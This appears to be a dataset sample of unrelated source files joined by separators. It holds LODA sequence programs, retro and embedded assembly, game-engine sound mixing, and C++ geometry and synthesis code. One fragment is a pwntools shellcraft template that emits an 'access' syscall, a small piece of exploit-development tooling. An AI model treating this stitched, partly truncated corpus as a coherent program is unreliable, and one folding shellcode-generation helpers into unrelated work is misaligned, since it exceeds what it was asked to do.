0,33330033,33330300,33330303,33330330,33330333,33333000,33333003
cal $0,99820 ; Even nonnegative integers in base 2 (bisection of A007088).
mov $1,$0
div $1,10
mul $1,3
|
; apple2enh fileio.asm
.export _LoadFile
.autoimport on
.importzp sp, sreg, regsave, regbank
.importzp tmp1, tmp2, tmp3, tmp4, ptr1, ptr2, ptr3, ptr4
.macpack longbranch
.include "apple2.asm"
.segment "ZEROPAGE"
.segment "BSS"
FileNameCache:
.res 16
.segment "CODE"
; _LoadFile
; Loads a file by name to a specific address.
;
; inputs:
; - fileName: (sp[3],sp[2]), Pointer to a file name string.
; - address: (x,a), Pointer to a location to load file data.
_LoadFile:
jsr pushax
jmp incsp4
|
.386P
.model FLAT
externdef _d_zistepu:dword
externdef _d_pzbuffer:dword
externdef _d_zistepv:dword
externdef _d_zrowbytes:dword
externdef _d_ziorigin:dword
externdef _r_turb_s:dword
externdef _r_turb_t:dword
externdef _r_turb_pdest:dword
externdef _r_turb_spancount:dword
externdef _r_turb_turb:dword
externdef _r_turb_pbase:dword
externdef _r_turb_sstep:dword
externdef _r_turb_tstep:dword
externdef _r_bmodelactive:dword
externdef _d_sdivzstepu:dword
externdef _d_tdivzstepu:dword
externdef _d_sdivzstepv:dword
externdef _d_tdivzstepv:dword
externdef _d_sdivzorigin:dword
externdef _d_tdivzorigin:dword
externdef _sadjust:dword
externdef _tadjust:dword
externdef _bbextents:dword
externdef _bbextentt:dword
externdef _cacheblock:dword
externdef _d_viewbuffer:dword
externdef _cachewidth:dword
externdef _d_pzbuffer:dword
externdef _d_zrowbytes:dword
externdef _d_zwidth:dword
externdef _d_scantable:dword
externdef _r_lightptr:dword
externdef _r_numvblocks:dword
externdef _prowdestbase:dword
externdef _pbasesource:dword
externdef _r_lightwidth:dword
externdef _lightright:dword
externdef _lightrightstep:dword
externdef _lightdeltastep:dword
externdef _lightdelta:dword
externdef _lightright:dword
externdef _lightdelta:dword
externdef _sourcetstep:dword
externdef _surfrowbytes:dword
externdef _lightrightstep:dword
externdef _lightdeltastep:dword
externdef _r_sourcemax:dword
externdef _r_stepback:dword
externdef _colormap:dword
externdef _blocksize:dword
externdef _sourcesstep:dword
externdef _lightleft:dword
externdef _blockdivshift:dword
externdef _blockdivmask:dword
externdef _lightleftstep:dword
externdef _r_origin:dword
externdef _r_ppn:dword
externdef _r_pup:dword
externdef _r_pright:dword
externdef _ycenter:dword
externdef _xcenter:dword
externdef _d_vrectbottom_particle:dword
externdef _d_vrectright_particle:dword
externdef _d_vrecty:dword
externdef _d_vrectx:dword
externdef _d_pix_shift:dword
externdef _d_pix_min:dword
externdef _d_pix_max:dword
externdef _d_y_aspect_shift:dword
externdef _screenwidth:dword
externdef _vright:dword
externdef _vup:dword
externdef _vpn:dword
externdef _BOPS_Error:dword
externdef _snd_scaletable:dword
externdef _paintbuffer:dword
externdef _snd_linear_count:dword
externdef _snd_p:dword
externdef _snd_vol:dword
externdef _snd_out:dword
externdef _r_leftclipped:dword
externdef _r_leftenter:dword
externdef _r_rightclipped:dword
externdef _r_rightenter:dword
externdef _modelorg:dword
externdef _xscale:dword
externdef _r_refdef:dword
externdef _yscale:dword
externdef _r_leftexit:dword
externdef _r_rightexit:dword
externdef _r_lastvertvalid:dword
externdef _cacheoffset:dword
externdef _newedges:dword
externdef _removeedges:dword
externdef _r_pedge:dword
externdef _r_framecount:dword
externdef _r_u1:dword
externdef _r_emitted:dword
externdef _edge_p:dword
externdef _surface_p:dword
externdef _surfaces:dword
externdef _r_lzi1:dword
externdef _r_v1:dword
externdef _r_ceilv1:dword
externdef _r_nearzi:dword
externdef _r_nearzionly:dword
externdef _edge_aftertail:dword
externdef _edge_tail:dword
externdef _current_iv:dword
externdef _edge_head_u_shift20:dword
externdef _span_p:dword
externdef _edge_head:dword
externdef _fv:dword
externdef _edge_tail_u_shift20:dword
externdef _r_apverts:dword
externdef _r_anumverts:dword
externdef _aliastransform:dword
externdef _r_avertexnormals:dword
externdef _r_plightvec:dword
externdef _r_ambientlight:dword
externdef _r_shadelight:dword
externdef _aliasxcenter:dword
externdef _aliasycenter:dword
externdef _a_sstepxfrac:dword
externdef _r_affinetridesc:dword
externdef _acolormap:dword
externdef _d_pcolormap:dword
externdef _r_affinetridesc:dword
externdef _d_sfrac:dword
externdef _d_ptex:dword
externdef _d_pedgespanpackage:dword
externdef _d_tfrac:dword
externdef _d_light:dword
externdef _d_zi:dword
externdef _d_pdest:dword
externdef _d_pz:dword
externdef _d_aspancount:dword
externdef _erroradjustup:dword
externdef _errorterm:dword
externdef _d_xdenom:dword
externdef _r_p0:dword
externdef _r_p1:dword
externdef _r_p2:dword
externdef _a_tstepxfrac:dword
externdef _r_sstepx:dword
externdef _r_tstepx:dword
externdef _a_ststepxwhole:dword
externdef _zspantable:dword
externdef _skintable:dword
externdef _r_zistepx:dword
externdef _erroradjustdown:dword
externdef _d_countextrastep:dword
externdef _ubasestep:dword
externdef _a_ststepxwhole:dword
externdef _a_tstepxfrac:dword
externdef _r_lstepx:dword
externdef _a_spans:dword
externdef _erroradjustdown:dword
externdef _d_pdestextrastep:dword
externdef _d_pzextrastep:dword
externdef _d_sfracextrastep:dword
externdef _d_ptexextrastep:dword
externdef _d_countextrastep:dword
externdef _d_tfracextrastep:dword
externdef _d_lightextrastep:dword
externdef _d_ziextrastep:dword
externdef _d_pdestbasestep:dword
externdef _d_pzbasestep:dword
externdef _d_sfracbasestep:dword
externdef _d_ptexbasestep:dword
externdef _ubasestep:dword
externdef _d_tfracbasestep:dword
externdef _d_lightbasestep:dword
externdef _d_zibasestep:dword
externdef _zspantable:dword
externdef _r_lstepy:dword
externdef _r_sstepy:dword
externdef _r_tstepy:dword
externdef _r_zistepy:dword
externdef _D_PolysetSetEdgeTable:dword
externdef _D_RasterizeAliasPolySmooth:dword
externdef float_point5:dword
externdef Float2ToThe31nd:dword
externdef izistep:dword
externdef izi:dword
externdef FloatMinus2ToThe31nd:dword
externdef float_1:dword
externdef float_particle_z_clip:dword
externdef float_minus_1:dword
externdef float_0:dword
externdef fp_16:dword
externdef fp_64k:dword
externdef fp_1m:dword
externdef fp_1m_minus_1:dword
externdef fp_8:dword
externdef entryvec_table:dword
externdef advancetable:dword
externdef sstep:dword
externdef tstep:dword
externdef pspantemp:dword
externdef counttemp:dword
externdef jumptemp:dword
externdef reciprocal_table:dword
externdef DP_Count:dword
externdef DP_u:dword
externdef DP_v:dword
externdef DP_32768:dword
externdef DP_Color:dword
externdef DP_Pix:dword
externdef DP_EntryTable:dword
externdef pbase:dword
externdef s:dword
externdef t:dword
externdef sfracf:dword
externdef tfracf:dword
externdef snext:dword
externdef tnext:dword
externdef spancountminus1:dword
externdef zi16stepu:dword
externdef sdivz16stepu:dword
externdef tdivz16stepu:dword
externdef zi8stepu:dword
externdef sdivz8stepu:dword
externdef tdivz8stepu:dword
externdef reciprocal_table_16:dword
externdef entryvec_table_16:dword
externdef ceil_cw:dword
externdef single_cw:dword
externdef fp_64kx64k:dword
externdef pz:dword
externdef spr8entryvec_table:dword
_TEXT SEGMENT
public _SND_PaintChannelFrom8
_SND_PaintChannelFrom8:
push esi
push edi
push ebx
push ebp
mov ebx,ds:dword ptr[4+16+esp]
mov esi,ds:dword ptr[8+16+esp]
mov eax,ds:dword ptr[4+ebx]
mov edx,ds:dword ptr[8+ebx]
cmp eax,255
jna LLeftSet
mov eax,255
LLeftSet:
cmp edx,255
jna LRightSet
mov edx,255
LRightSet:
and eax,0F8h
add esi,20
and edx,0F8h
mov edi,ds:dword ptr[16+ebx]
mov ecx,ds:dword ptr[12+16+esp]
add esi,edi
shl eax,7
add edi,ecx
shl edx,7
mov ds:dword ptr[16+ebx],edi
add eax,offset _snd_scaletable
add edx,offset _snd_scaletable
sub ebx,ebx
mov bl,ds:byte ptr[-1+esi+ecx*1]
test ecx,1
jz LMix8Loop
mov edi,ds:dword ptr[eax+ebx*4]
mov ebp,ds:dword ptr[edx+ebx*4]
add edi,ds:dword ptr[_paintbuffer+0-8+ecx*8]
add ebp,ds:dword ptr[_paintbuffer+4-8+ecx*8]
mov ds:dword ptr[_paintbuffer+0-8+ecx*8],edi
mov ds:dword ptr[_paintbuffer+4-8+ecx*8],ebp
mov bl,ds:byte ptr[-2+esi+ecx*1]
dec ecx
jz LDone
LMix8Loop:
mov edi,ds:dword ptr[eax+ebx*4]
mov ebp,ds:dword ptr[edx+ebx*4]
add edi,ds:dword ptr[_paintbuffer+0-8+ecx*8]
add ebp,ds:dword ptr[_paintbuffer+4-8+ecx*8]
mov bl,ds:byte ptr[-2+esi+ecx*1]
mov ds:dword ptr[_paintbuffer+0-8+ecx*8],edi
mov ds:dword ptr[_paintbuffer+4-8+ecx*8],ebp
mov edi,ds:dword ptr[eax+ebx*4]
mov ebp,ds:dword ptr[edx+ebx*4]
mov bl,ds:byte ptr[-3+esi+ecx*1]
add edi,ds:dword ptr[_paintbuffer+0-8*2+ecx*8]
add ebp,ds:dword ptr[_paintbuffer+4-8*2+ecx*8]
mov ds:dword ptr[_paintbuffer+0-8*2+ecx*8],edi
mov ds:dword ptr[_paintbuffer+4-8*2+ecx*8],ebp
sub ecx,2
jnz LMix8Loop
LDone:
pop ebp
pop ebx
pop edi
pop esi
ret
public _Snd_WriteLinearBlastStereo16
_Snd_WriteLinearBlastStereo16:
push esi
push edi
push ebx
mov ecx,ds:dword ptr[_snd_linear_count]
mov ebx,ds:dword ptr[_snd_p]
mov esi,ds:dword ptr[_snd_vol]
mov edi,ds:dword ptr[_snd_out]
LWLBLoopTop:
mov eax,ds:dword ptr[-8+ebx+ecx*4]
imul eax,esi
sar eax,8
cmp eax,07FFFh
jg LClampHigh
cmp eax,0FFFF8000h
jnl LClampDone
mov eax,0FFFF8000h
jmp LClampDone
LClampHigh:
mov eax,07FFFh
LClampDone:
mov edx,ds:dword ptr[-4+ebx+ecx*4]
imul edx,esi
sar edx,8
cmp edx,07FFFh
jg LClampHigh2
cmp edx,0FFFF8000h
jnl LClampDone2
mov edx,0FFFF8000h
jmp LClampDone2
LClampHigh2:
mov edx,07FFFh
LClampDone2:
shl edx,16
and eax,0FFFFh
or edx,eax
mov ds:dword ptr[-4+edi+ecx*2],edx
sub ecx,2
jnz LWLBLoopTop
pop ebx
pop edi
pop esi
ret
_TEXT ENDS
END
|
aLine 0
gNew currentPtr
gMoveNext currentPtr, Root
aLine 1
sInit i, 0
sBge i, {1:D}, 10
aLine 2
gBne currentPtr, null, 3
aLine 3
Exception NOT_FOUND
aLine 5
gMoveNext currentPtr, currentPtr
aLine 1
sInc i, 1
Jmp -9
aLine 7
gBne currentPtr, null, 3
aLine 8
Exception NOT_FOUND
aLine 10
nNew newNodePtr, {0:D}
gNewVPtr temp
gMoveNext temp, currentPtr
aLine 11
nMoveRel newNodePtr, currentPtr, 95, -164.545
pSetNext newNodePtr, temp
aLine 12
gBeq temp, null, 3
aLine 13
pSetPrev temp, newNodePtr
aLine 15
pSetNext currentPtr, newNodePtr
aLine 16
pSetPrev newNodePtr, currentPtr
aLine 17
gDelete currentPtr
gDelete temp
gDelete newNodePtr
aStd
Halt |
; A169272: Number of reduced words of length n in Coxeter group on 19 generators S_i with relations (S_i)^2 = (S_i S_j)^29 = I.
; Submitted by Jamie Morken(s4)
; 1,19,342,6156,110808,1994544,35901792,646232256,11632180608,209379250944,3768826516992,67838877305856,1221099791505408,21979796247097344,395636332447752192,7121453984059539456
mov $1,$0
mov $0,1
mov $2,18
pow $2,$1
mul $0,$2
div $0,18
add $2,$0
mov $0,$2
|
#include <iostream>
using namespace std;
int factorfinder(int x){
if (x==1) {
return 1;
}else{
return x*factorfinder(x-1);
}
}
int main()
{
int Y = 40;
cout << factorfinder(5);
} |
/*******************************************************************\
Module: Counterexample-Guided Inductive Synthesis
Author: Daniel Kroening, kroening@kroening.com
Pascal Kesseli, pascal.kesseli@cs.ox.ac.uk
\*******************************************************************/
#include <util/mp_arith.h>
#include <cegis/instrument/literals.h>
#include <cegis/danger/meta/literals.h>
#include <cegis/danger/meta/meta_variable_names.h>
namespace
{
const char INVARIANT_PREFIX[]=DANGER_PREFIX"D";
const char SEP='_';
const char INITIAL_STATE[]="x0";
}
std::string get_Dx0()
{
std::string result(INVARIANT_PREFIX);
result+=SEP;
return result+=INITIAL_STATE;
}
namespace
{
std::string build_var_name(const char * const prefix, const size_t loop_id,
const char * const state)
{
std::string result(prefix);
result+=integer2string(loop_id);
result+=SEP;
return result+=state;
}
const char STATE_BEFORE_LOOP[]="x";
}
std::string get_Dx(const size_t loop_id)
{
return build_var_name(INVARIANT_PREFIX, loop_id, STATE_BEFORE_LOOP);
}
namespace
{
const char STATE_AFTER_LOOP[]="x" CEGIS_PRIME_SUFFIX;
}
std::string get_Dx_prime(const size_t loop_id)
{
return build_var_name(INVARIANT_PREFIX, loop_id, STATE_AFTER_LOOP);
}
namespace
{
std::string build_var_name(const char * const prefix, const size_t loop_id,
const char * const state, const size_t result_id)
{
std::string result(prefix);
result+=integer2string(loop_id);
result+=SEP;
result+=state;
result+=SEP;
return result+=integer2string(result_id);
}
const char RANKING_PREFIX[]=DANGER_PREFIX"R";
}
std::string get_Rx(const size_t loop_id, const size_t result_id)
{
return build_var_name(RANKING_PREFIX, loop_id, STATE_BEFORE_LOOP, result_id);
}
std::string get_Rx_prime(const size_t loop_id, const size_t result_id)
{
return build_var_name(RANKING_PREFIX, loop_id, STATE_AFTER_LOOP, result_id);
}
namespace
{
const char SKOLEM_PREFIX[]=DANGER_PREFIX"S";
}
std::string get_Sx(const size_t loop_id, const size_t result_id)
{
return build_var_name(SKOLEM_PREFIX, loop_id, STATE_BEFORE_LOOP, result_id);
}
|
; @@@ void mikeos_serial_port_enable(int mode);
%include "os_vector.inc"
section .text
use16
global _mikeos_serial_port_enable
_mikeos_serial_port_enable:
mov bx, sp
mov ax, [ss:bx + 2]
mov bx, os_serial_port_enable
call bx
ret
|
<%
from pwnlib.shellcraft.powerpc.linux import syscall
%>
<%page args="name, type"/>
<%docstring>
Invokes the syscall access. See 'man 2 access' for more information.
Arguments:
name(char): name
type(int): type
</%docstring>
${syscall('SYS_access', name, type)}
|
// Geometric Tools, Inc.
// http://www.geometrictools.com
// Copyright (c) 1998-2006. All Rights Reserved
//
// The Wild Magic Version 4 Foundation Library source code is supplied
// under the terms of the license agreement
// http://www.geometrictools.com/License/Wm4FoundationLicense.pdf
// and may not be copied or disclosed except in accordance with the terms
// of that agreement.
#include "Wm4FoundationPCH.h"
#include "Wm4DistSegment3Rectangle3.h"
#include "Wm4DistLine3Rectangle3.h"
#include "Wm4DistVector3Rectangle3.h"
namespace Wm4
{
//----------------------------------------------------------------------------
template <class Real>
DistSegment3Rectangle3<Real>::DistSegment3Rectangle3 (
const Segment3<Real>& rkSegment, const Rectangle3<Real>& rkRectangle)
:
m_rkSegment(rkSegment),
m_rkRectangle(rkRectangle)
{
}
//----------------------------------------------------------------------------
template <class Real>
const Segment3<Real>& DistSegment3Rectangle3<Real>::GetSegment () const
{
return m_rkSegment;
}
//----------------------------------------------------------------------------
template <class Real>
const Rectangle3<Real>& DistSegment3Rectangle3<Real>::GetRectangle () const
{
return m_rkRectangle;
}
//----------------------------------------------------------------------------
template <class Real>
Real DistSegment3Rectangle3<Real>::Get ()
{
Real fSqrDist = GetSquared();
return Math<Real>::Sqrt(fSqrDist);
}
//----------------------------------------------------------------------------
template <class Real>
Real DistSegment3Rectangle3<Real>::GetSquared ()
{
DistLine3Rectangle3<Real> kLRDist(Line3<Real>(m_rkSegment.Origin,
m_rkSegment.Direction),m_rkRectangle);
Real fSqrDist;
m_fSegmentParameter = kLRDist.GetLineParameter();
if (m_fSegmentParameter >= -m_rkSegment.Extent)
{
if (m_fSegmentParameter <= m_rkSegment.Extent)
{
fSqrDist = kLRDist.GetSquared();
m_kClosestPoint0 = kLRDist.GetClosestPoint0();
m_kClosestPoint1 = kLRDist.GetClosestPoint1();
m_afRectCoord[0] = kLRDist.GetRectangleCoordinate(0);
m_afRectCoord[1] = kLRDist.GetRectangleCoordinate(1);
}
else
{
m_kClosestPoint0 = m_rkSegment.GetPosEnd();
DistVector3Rectangle3<Real> kVTDist(m_kClosestPoint0,
m_rkRectangle);
fSqrDist = kVTDist.GetSquared();
m_kClosestPoint1 = kVTDist.GetClosestPoint1();
m_fSegmentParameter = m_rkSegment.Extent;
m_afRectCoord[0] = kVTDist.GetRectangleCoordinate(0);
m_afRectCoord[1] = kVTDist.GetRectangleCoordinate(1);
}
}
else
{
m_kClosestPoint0 = m_rkSegment.GetNegEnd();
DistVector3Rectangle3<Real> kVTDist(m_kClosestPoint0,m_rkRectangle);
fSqrDist = kVTDist.GetSquared();
m_kClosestPoint1 = kVTDist.GetClosestPoint1();
m_fSegmentParameter = -m_rkSegment.Extent;
m_afRectCoord[0] = kVTDist.GetRectangleCoordinate(0);
m_afRectCoord[1] = kVTDist.GetRectangleCoordinate(1);
}
return fSqrDist;
}
//----------------------------------------------------------------------------
template <class Real>
Real DistSegment3Rectangle3<Real>::Get (Real fT,
const Vector3<Real>& rkVelocity0, const Vector3<Real>& rkVelocity1)
{
Vector3<Real> kMOrigin = m_rkSegment.Origin + fT*rkVelocity0;
Vector3<Real> kMCenter = m_rkRectangle.Center + fT*rkVelocity1;
Segment3<Real> kMSegment(kMOrigin,m_rkSegment.Direction,
m_rkSegment.Extent);
Rectangle3<Real> kMRectangle(kMCenter,m_rkRectangle.Axis,
m_rkRectangle.Extent);
return DistSegment3Rectangle3<Real>(kMSegment,kMRectangle).Get();
}
//----------------------------------------------------------------------------
template <class Real>
Real DistSegment3Rectangle3<Real>::GetSquared (Real fT,
const Vector3<Real>& rkVelocity0, const Vector3<Real>& rkVelocity1)
{
Vector3<Real> kMOrigin = m_rkSegment.Origin + fT*rkVelocity0;
Vector3<Real> kMCenter = m_rkRectangle.Center + fT*rkVelocity1;
Segment3<Real> kMSegment(kMOrigin,m_rkSegment.Direction,
m_rkSegment.Extent);
Rectangle3<Real> kMRectangle(kMCenter,m_rkRectangle.Axis,
m_rkRectangle.Extent);
return DistSegment3Rectangle3<Real>(kMSegment,kMRectangle).GetSquared();
}
//----------------------------------------------------------------------------
template <class Real>
Real DistSegment3Rectangle3<Real>::GetSegmentParameter () const
{
return m_fSegmentParameter;
}
//----------------------------------------------------------------------------
template <class Real>
Real DistSegment3Rectangle3<Real>::GetRectangleCoordinate (int i) const
{
assert(0 <= i && i < 2);
return m_afRectCoord[i];
}
//----------------------------------------------------------------------------
//----------------------------------------------------------------------------
// explicit instantiation
//----------------------------------------------------------------------------
template WM4_FOUNDATION_ITEM
class DistSegment3Rectangle3<float>;
template WM4_FOUNDATION_ITEM
class DistSegment3Rectangle3<double>;
//----------------------------------------------------------------------------
}
|
/* +------------------------------------------------------------------------+
| Mobile Robot Programming Toolkit (MRPT) |
| https://www.mrpt.org/ |
| |
| Copyright (c) 2005-2022, Individual contributors, see AUTHORS file |
| See: https://www.mrpt.org/Authors - All rights reserved. |
| Released under BSD License. See: https://www.mrpt.org/License |
+------------------------------------------------------------------------+ */
#include "math-precomp.h" // Precompiled headers
//
#include <mrpt/math/CVectorDynamic.h>
#include <Eigen/Dense>
#include "MatrixVectorBase_impl.h"
using namespace mrpt::math;
template <typename T>
template <typename T2>
CVectorDynamic<T2> CVectorDynamic<T>::cast() const
{
CVectorDynamic<T2> r(size());
r.asEigen() = asEigen().template cast<T2>();
return r;
}
// Explicit instantiation of "MatrixVectorBase_impl.h" methods:
#define DO_VECDYN_INSTANTIATION(T_) \
template class mrpt::math::MatrixVectorBase<T_, CVectorDynamic<T_>>;
DO_VECDYN_INSTANTIATION(float)
DO_VECDYN_INSTANTIATION(double)
|
; --COPYRIGHT--,BSD_EX
; Copyright (c) 2012, Texas Instruments Incorporated
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; * Neither the name of Texas Instruments Incorporated nor the names of
; its contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
; THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
; ******************************************************************************
;
; MSP430 CODE EXAMPLE DISCLAIMER
;
; MSP430 code examples are self-contained low-level programs that typically
; demonstrate a single peripheral function or device feature in a highly
; concise manner. For this the code may rely on the device's power-on default
; register values and settings such as the clock configuration and care must
; be taken when combining code from several examples to avoid potential side
; effects. Also see www.ti.com/grace for a GUI- and www.ti.com/msp430ware
; for an API functional library-approach to peripheral configuration.
;
; --/COPYRIGHT--
;******************************************************************************
; MSP430F54xA Demo - 8x8 Unsigned Multiply Accumulate
;
; Description: Hardware multiplier is used to multiply two numbers.
; The calculation is automatically initiated after the second operand is
; loaded. A second multiply accumulate operation is performed after that.
; Results are stored in RESLO and RESHI. SUMEXT contains the carry of the
; result.
;
; MSP430F5438A
; -----------------
; /|\| |
; | | |
; --|RST |
; | |
; | |
;
; D. Dang
; Texas Instruments Inc.
; December 2009
; Built with CCS Version: 4.0.2
;******************************************************************************
.cdecls C,LIST,"msp430.h"
;-------------------------------------------------------------------------------
.def RESET ; Export program entry-point to
; make it known to linker.
;-------------------------------------------------------------------------------
.global _main
.text ; Assemble to Flash memory
;-------------------------------------------------------------------------------
_main
RESET mov.w #0x5C00,SP ; Initialize stackpointer
mov.w #WDTPW + WDTHOLD,&WDTCTL; Stop WDT
mov.w #0x12,&MPY ; Load first operand -unsigned mult
mov.w #0x56,&OP2 ; Load second operand
mov.w #0x12,&MAC ; Load first operand -unsigned MAC
mov.w #0x56,&OP2 ; Load second operand
bis.w #LPM4,SR ; Enter LPM4
nop
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".reset" ; POR, ext. Reset
.short RESET
.end
|
; A054333: 1/256 of tenth unsigned column of triangle A053120 (T-Chebyshev, rising powers, zeros omitted).
; 1,11,65,275,935,2717,7007,16445,35750,72930,140998,260338,461890,791350,1314610,2124694,3350479,5167525,7811375,11593725,16921905,24322155,34467225,48208875,66615900,91018356,123058716,164750740,218546900,287415260,374926772,485354012,623782445,796235375,1009813805,1272852503,1595093643,1987879465,2464365475,3039755785,3731562274,4559889334,5547746050,6721387750,8110688950,9749549810,11676338310,13934370450,16572430875,19645336425,23214545211,27348813921,32124906165,37628354775,43954281085,51208274327,59507334392,68980881320,79771835000,92037768680,105952140008,121705603448,139507408040,159586884600,182195026585,207606168979,236119769689,268062298075,303789235375,343687191925,388176146215,437711810965,492788131550,553939922250,621745645950,696830343066,779868715626,871588372590,972773242650,1084267160910,1206977636007,1341879804397,1490020578695,1652522997125,1830590781305,2025513109763,2238669614753,2471535610115,2725687558100,3002808783260,3304695441684,3633262754044,3990551511100,4378734860500,4800125383900,5257182473620,5752520018245,6288914406775,6869312861125,7496842106975,8174817393171,8906751870081,9696366337515,10547599373025,11464617851610,12451827868062,13513886073402,14655711437070,15882497446750,17199724757930,18613174305518,20128940890058,21753447251315,23493458642225,25356097916435,27348861142889,29479633761149,31756707291375,34188796613125,36785057827375,39555106716400,42509037816400,45657444118000,49011437410000,52582669282000,56383352801776,60426284883536,64724869363440,69293140799025,74145789009435,79298184373617,84766403903907,90567258112695,96718318690125,103237947011055,110145323489773,117460477801238,125204319987890,133398672471350,142066302988610,151230958472594,160917399897254,171151438107650,181959970655750,193371019662975,205413770730805,218118612921055,231517179827725,245642391762625,260528499077275,276211126643881,292727319518491,310115589809740,328415964776900,347670036181260,367921010915172,389213762933412,411594886511820,435112750858500,459817556103180,485761390690653,512998290204543,541584297647965,571577525207975,603038217531035,636028816537049,670614027799859,706860888522425,744838837135250,784619784546950,826278187076210,869891121094710,915538359410950,963302449425250,1013268793086550,1065525728681986,1120164614490571,1177279914332665,1236969285047275,1299333665929585,1364477370161477,1432508178268167,1503537433634445,1577680140114375,1655055061768680,1735784824764408,1819996021471848,1907819316794040,1999389556764600,2094845879449960,2194331828192504,2297995467231464,2405989499738825,2518471388307875,2635603477932425,2757553121515115,2884492807943615,3016600292773925,3154058731560375,3297056815872325,3445788912037966,3600455202656026,3761261830916590,3928421047772650,4102151362004410,4282677693218782,4470231527826922,4665051078043070,4867381443948375,5077474778663805,5295590456676663,5521995245365653,5756963479769865,6000777240647475,6253726535870385,6516109485201459,6788232508501444,7070410517413100,7362967110570500,7666234772381900,7980555075435020,8306278886574020,8643766576697900,8993388234330500
lpb $0
mov $2,$0
cal $2,27803 ; a(n) = 35*(n+1)*binomial(n+4, 7)/4.
sub $0,1
add $1,$2
lpe
div $1,35
add $1,1
|
; void *sms_copy_vram_to_mem(void *dst, unsigned int n)
SECTION code_clib
SECTION code_crt_common
PUBLIC sms_copy_vram_to_mem_callee
EXTERN asm_sms_copy_vram_to_mem
sms_copy_vram_to_mem_callee:
pop hl
pop bc
ex (sp),hl
jp asm_sms_copy_vram_to_mem
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.